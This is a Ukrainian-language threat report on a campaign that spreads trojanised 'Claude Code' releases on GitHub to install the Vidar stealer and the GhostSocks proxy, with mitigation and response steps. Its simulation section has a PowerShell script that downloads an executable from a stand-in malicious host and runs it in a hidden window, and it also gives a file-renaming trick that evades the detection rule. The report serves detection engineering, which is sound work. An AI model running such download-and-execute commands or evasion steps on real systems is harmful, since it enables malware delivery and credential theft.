Claude Code Lures перетворює релізи GitHub на канал доставки шкідливого ПЗ

Резюме

Злочинці швидко використали неправильно налаштований пакет npm, який випадково відкрив вихідний код Claude Code від Anthropic. Вони створили фальшиві репозиторії GitHub, що розміщують троянські «релізи» у форматі 7z, які встановлюють завантажувач, розроблений на Rust. Після виконання, дроппер встановлює інфостілер Vidar разом із SOCKS5-проксі GhostSocks для здійснення крадіжок та прихованого доступу.

Розслідування

Розслідування виявило операцію зі змінним приманками, активну з лютого 2026 року, яка покладається на короткострокові облікові записи GitHub для публікації шкідливих артефактів релізу. Серед комплексу приманок жертви отримують одне й те саме навантаження TradeAI.exe, яке розшифровує вбудовані URL C2, перевіряє аналітичні перевірки та розгортає як Vidar, так і GhostSocks. Виявлення C2 здійснюється через dead-drop резолвери, розміщені на Steam і Telegram, що допомагає кампанії швидко оновлювати інфраструктуру.

Пом’якшення

Організації повинні обмежити встановлення інструментів AI перевіреними джерелами, блокувати відомі шкідливі посилання на GitHub релізи та на відповідні домени C2, а також уважно стежити за поведінкою, що свідчить про крадіжку облікових даних. Додайте виявлення на кінцевій точці для дропперів, скомпільованих на Rust, і типових шаблонів виконання Vidar/GhostSocks. Посильте покриття для сигналів уникнення пісочниці та обмежте підозріле виконання сценаріїв (включно з аномальною активністю PowerShell), які можуть бути використані для підготовки або наступних дій.

Реагування

У разі виявлення ізолюйте кінцеву точку, збережіть шкідливий виконуваний файл та пов’язаний з ним архів 7z, і шукайте артефакти Vidar і GhostSocks на всіх хостах і мережах. Блокуйте ідентифіковані URL pastebin та snippet.host і негайно відкликайте будь-які зламані облікові дані. Виконайте повну оцінку компрометації облікових даних, потім скиньте привілейовані облікові записи та анулюйте токени/сесії, щоб запобігти повторному використанню.

Запуск симуляції

Передумова: Телеметрія та базова перевірка перед польотом повинні пройти.

Пояснення: Цей розділ детально описує точну реалізацію техніки супротивника (TTP), розробленої для запуску правила виявлення. Команди та сценарій обов’язково мають безпосередньо відображати виявлені TTP і створити саме ту телеметрію, на яку розрахована логіка виявлення.

• Розповідь про атаку і команди:
  Супротивник отримує фішинг-лист (T1566.002) із шкідливим посиланням, яке вказує на зламаний репозиторій GitHub, що містить TradeAI.exe. Жертва клацає на посилання, яке запускає PowerShell у прихованому вікні. Скрипт завантажує дроппер у тимчасову директорію, виконує його, і дроппер надалі встановлює стілер Vidar та проксі GhostSocks (T1027, T1090.003).

• Сценарій тестування регресії:

   # -------------------------------------------------
    # Симулювати виконання дроппера TradeAI.exe
    # -------------------------------------------------
    $url = "http://malicious.example.com/TradeAI.exe"
    $outPath = "$env:TEMPTradeAI.exe"
  
    # Завантажити дроппер (імітувати поведінку реального нападника)
    Invoke-WebRequest -Uri $url -OutFile $outPath -UseBasicParsing
  
    # Безшумно виконати дроппер
    Start-Process -FilePath $outPath -WindowStyle Hidden
  
    # OPTIONAL: почекайте кілька секунд, щоб дозволити будь-яким дочірним процесам з'явитися
    Start-Sleep -Seconds 5
    # -------------------------------------------------

• Команди очищення:

   # Видалити завантажений дроппер і всі тимчасові артефакти
    $outPath = "$env:TEMPTradeAI.exe"
    if (Test-Path $outPath) { Remove-Item $outPath -Force }
  
    # (Якщо дроппер створив додаткові файли, знайдіть і видаліть їх за необхідності)
    # Приклад: видалити відому директорію з навантаженням
    $payloadDir = "$env:APPDATAVidar"
    if (Test-Path $payloadDir) { Remove-Item $payloadDir -Recurse -Force }

Перевірка та очікуваний результат

1. Очікувана SIEM сигналізація: Після запуску сценарію регресії, SIEM повинен згенерувати сигналізацію, де Зображення закінчується на TradeAI.exe (or ClaudeCode_x64.exe). Заголовок сигналізації відповідатиме правилу заголовок поле.
2. Тест на уникнення: Перейменуйте завантажений бінарний файл у TradeAI_renamed.exe і повторно запустіть сценарій. Ніякої сигналізації не повинно бути, що підтверджує залежність правила від статичних імен файлів.

Рекомендації з посилення безпеки

1. Додати індикатори гешування: Включіть SHA‑256 хеші відомих шкідливих дропперів у правило (або в окреме правило, засноване на хешах).
2. Розширити охоплення: Розширити виявлення для моніторингу виконання невідомих бінарних файлів, запущених із нетипових місць (наприклад, %TEMP%, %APPDATA%).
3. Кореляція поведінки: Корелюйте створення процесу з наступними мережевими підключеннями до відомих доменів C2 GhostSocks (T1090.003) і записами файлів відомих компонентів Vidar.
4. Політика виконання на кінцевій точці: Розгорніть AppLocker або Windows Defender Application Control, щоб блокувати виконання невписаних бінарних файлів із директорій, доступних для запису користувача.

Кінець звіту